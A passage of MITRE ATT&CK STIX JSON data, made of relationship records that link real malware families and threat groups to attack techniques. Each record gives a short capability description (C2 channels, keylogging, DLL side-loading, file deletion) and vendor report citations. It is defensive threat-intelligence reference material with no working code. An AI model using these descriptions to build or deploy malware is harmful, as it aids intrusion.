            "description": "[RogueRobin](https://attack.mitre.org/software/S0270) can save a new file to the system from the C2 server.(Citation: Unit 42 DarkHydrus July 2018)(Citation: Unit42 DarkHydrus Jan 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                },
                {
                    "source_name": "Unit42 DarkHydrus Jan 2019",
                    "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/",
                    "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019."
                }
            ],
            "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-24T23:55:43.269Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2843ccc2-4869-48a0-8967-b9856a778a2c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Felismus](https://attack.mitre.org/software/S0171) has masqueraded as legitimate Adobe Content Management System files.(Citation: Forcepoint Felismus Mar 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Felismus Mar 2017",
                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
                }
            ],
            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-17T23:48:42.867Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--b3f53743-4bd9-47a6-bf41-6f7786bbdc87",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is capable of downloading additional files through C2 channels, including a new version of itself.(Citation: Forcepoint Monsoon)(Citation: PaloAlto Patchwork Mar 2018)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "PaloAlto Patchwork Mar 2018",
                    "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.322Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--259a5116-2492-4d7b-b300-1cf9b8c79f00",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Helminth](https://attack.mitre.org/software/S0170) samples have been signed with legitimate, compromised code signing certificates owned by software company AI Squared.(Citation: ClearSky OilRig Jan 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky OilRig Jan 2017",
                    "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.",
                    "url": "http://www.clearskysec.com/oilrig/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082",
            "type": "relationship",
            "modified": "2020-03-16T16:55:39.531Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--4e1d7798-ffb7-4495-aab7-ca13db2dade5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Nerex](https://attack.mitre.org/software/S0210) drops a signed Microsoft DLL to disk.(Citation: Symantec Nerex May 2012)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Nerex May 2012",
                    "description": "Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082"
        },
        {
            "id": "relationship--def89c4a-b394-4137-8a96-c794780352f2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has the capability to delete files off the victim\u2019s machine.(Citation: US-CERT KEYMARBLE Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT KEYMARBLE Aug 2018",
                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
                }
            ],
            "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-20T02:14:26.664Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ef699184-4191-4fc0-8525-6fa1dcfc61d7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about users on remote hosts.(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
                }
            ],
            "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "type": "relationship",
            "modified": "2020-03-18T20:15:48.471Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
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            "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can retrieve system information.(Citation: Symantec Linfo May 2012)",
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                {
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                    "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99"
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            "description": "[FinFisher](https://attack.mitre.org/software/S0182) uses DLL side-loading to load malicious programs.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
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                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
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                },
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                }
            ],
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                {
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                }
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            "description": "[VERMIN](https://attack.mitre.org/software/S0257) can delete files on the victim\u2019s machine.(Citation: Unit 42 VERMIN Jan 2018)",
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            ],
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                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
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            "description": "[H1N1](https://attack.mitre.org/software/S0132) contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests.(Citation: Cisco H1N1 Part 2)",
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                {
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                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"
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            "description": "Some resources in [Prikormka](https://attack.mitre.org/software/S0113) are encrypted with a simple XOR operation or encoded with Base64.(Citation: ESET Operation Groundbait)",
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            ],
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                {
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                    "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf"
                }
            ],
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            ],
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                {
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                    "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.",
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                }
            ],
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            "type": "relationship",
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            "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a built-in keylogger.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)",
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                {
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                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
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            "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using HTTP and HTTPS for C2.(Citation: Symantec Remsec IOCs)(Citation: Kaspersky ProjectSauron Full Report)(Citation: Kaspersky ProjectSauron Technical Analysis)",
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                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Full Report",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf"
                },
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
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                {
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "source_name": "Alperovitch 2014"
                }
            ],
            "description": "(Citation: Alperovitch 2014)",
            "type": "relationship",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes commonly used ports such as 443, 53, 80, 25, and 8080.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.",
                    "source_name": "Novetta Blockbuster RATs"
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            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) has used spearphishing via a link to get users to download and run their malware.(Citation: ESET Turla Mosquito Jan 2018)",
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                {
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                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito Jan 2018"
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            ],
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            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[Comnie](https://attack.mitre.org/software/S0244) uses HTTP for C2 communication.(Citation: Palo Alto Comnie)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Comnie",
                    "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"
                }
            ],
            "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e",
            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses port 443 for C2 communications.(Citation: S2 Grupo TrickBot June 2017)(Citation: Trend Micro Totbrick Oct 2016)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                },
                {
                    "source_name": "Trend Micro Totbrick Oct 2016",
                    "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"
                }
            ],
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            "type": "relationship",
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            "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) will decrypt resources it downloads with HTTP requests by using RC4 with the key \"ScoutEagle.\"(Citation: FireEye APT30)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
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                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
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            "type": "relationship",
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            "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses cmd.exe to execute scripts and commands on the victim\u2019s machine.(Citation: Unit 42 QUADAGENT July 2018)",
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            ],
            "external_references": [
                {
                    "source_name": "Unit 42 QUADAGENT July 2018",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"
                }
            ],
            "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:42:05.844Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--c0223316-4b0b-461e-8947-01c0f5baeef2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the takeScreenShot (along with startTakeScreenShot and stopTakeScreenShot) functions to take screenshots using the CGGetActiveDisplayList, CGDisplayCreateImage, and NSImage:initWithCGImage methods.(Citation: XAgentOSX 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "XAgentOSX 2017",
                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
                }
            ],
            "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-07-26T23:07:21.042Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--abf00a6a-7922-432c-95e0-6c44db2c20e3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[yty](https://attack.mitre.org/software/S0248) gathers the computer name, the serial number of the main disk volume, CPU information, Microsoft Windows version, and runs the command <code>systeminfo</code>.(Citation: ASERT Donot March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
                }
            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-25T00:09:23.130Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--47f611f4-b9f0-42ef-9629-ee4a56e737ed",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather Registry values.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896"
        },
        {
            "id": "relationship--e0301b36-c339-49c5-b257-9ece19152922",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run <code>ipconfig /all</code> on a victim.(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "source_name": "Palo Alto OilRig May 2016"
                },
                {
                    "source_name": "Palo Alto OilRig Oct 2016",
                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-09-04T22:55:41.135Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--82384148-90fd-4bfa-a734-e9c8b37b584f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Carbanak](https://attack.mitre.org/software/S0030) logs key strokes for configured processes and sends them back to the C2 server.(Citation: Kaspersky Carbanak)(Citation: FireEye CARBANAK June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Carbanak",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"
                },
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                }
            ],
            "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:07:49.085Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a6e883cf-6276-47c1-a4a3-be2756d510a2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201) checks for the presence of certain security-related processes and deletes its installer/uninstaller component if it identifies any of them.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-03-16T16:57:38.869Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--27102940-8ec1-42ad-98e5-57dc24b572eb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PsExec](https://attack.mitre.org/software/S0029), a tool that has been used by adversaries, writes programs to the <code>ADMIN$</code> network share to execute commands on remote systems.(Citation: PsExec Russinovich)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PsExec Russinovich",
                    "description": "Russinovich, M. (2004, June 28). PsExec. Retrieved December 17, 2015.",
                    "url": "http://windowsitpro.com/systems-management/psexec"
                }
            ],
            "source_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2020-03-20T19:20:27.692Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--019eb3cf-35df-4109-a006-1b91331866c3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Wingbird](https://attack.mitre.org/software/S0176) drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.(Citation: Microsoft SIR Vol 21)(Citation: Microsoft Wingbird Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf",
                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
                    "source_name": "Microsoft SIR Vol 21"
                },
                {
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha",
                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
                    "source_name": "Microsoft Wingbird Nov 2017"
                }
            ],
            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4",
            "type": "relationship",
            "modified": "2019-10-30T12:41:28.914Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More",
                    "source_name": "Talos Zeus Panda Nov 2017"
                },
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) collects the OS version, system architecture, computer name, product ID, install date, and information on the keyboard mapping to determine the language used on the system.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--dac8dcfd-e7e7-4b41-b100-07f95f6b0ba9",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.075Z",
            "created": "2019-01-29T17:59:44.450Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "DigiTrust Agent Tesla Jan 2017",
                    "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/",
                    "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018."
                },
                {
                    "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.",
                    "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html",
                    "source_name": "Fortinet Agent Tesla June 2017"
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) has used HTTP for C2 communications.(Citation: DigiTrust Agent Tesla Jan 2017)(Citation: Fortinet Agent Tesla June 2017)",
            "id": "relationship--5e8fc958-6778-4c46-ae15-0d239309bc76",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-18T19:25:30.208Z",
            "created": "2019-01-29T18:44:04.934Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Fortinet Remcos Feb 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html",
                    "description": "Bacurio, F., Salvio, J. (2017, February 14). REMCOS: A New RAT In The Wild. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) can capture data from the system\u2019s microphone.(Citation: Fortinet Remcos Feb 2017)",
            "id": "relationship--ce85be06-0f74-480e-b55a-df92f6989902",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
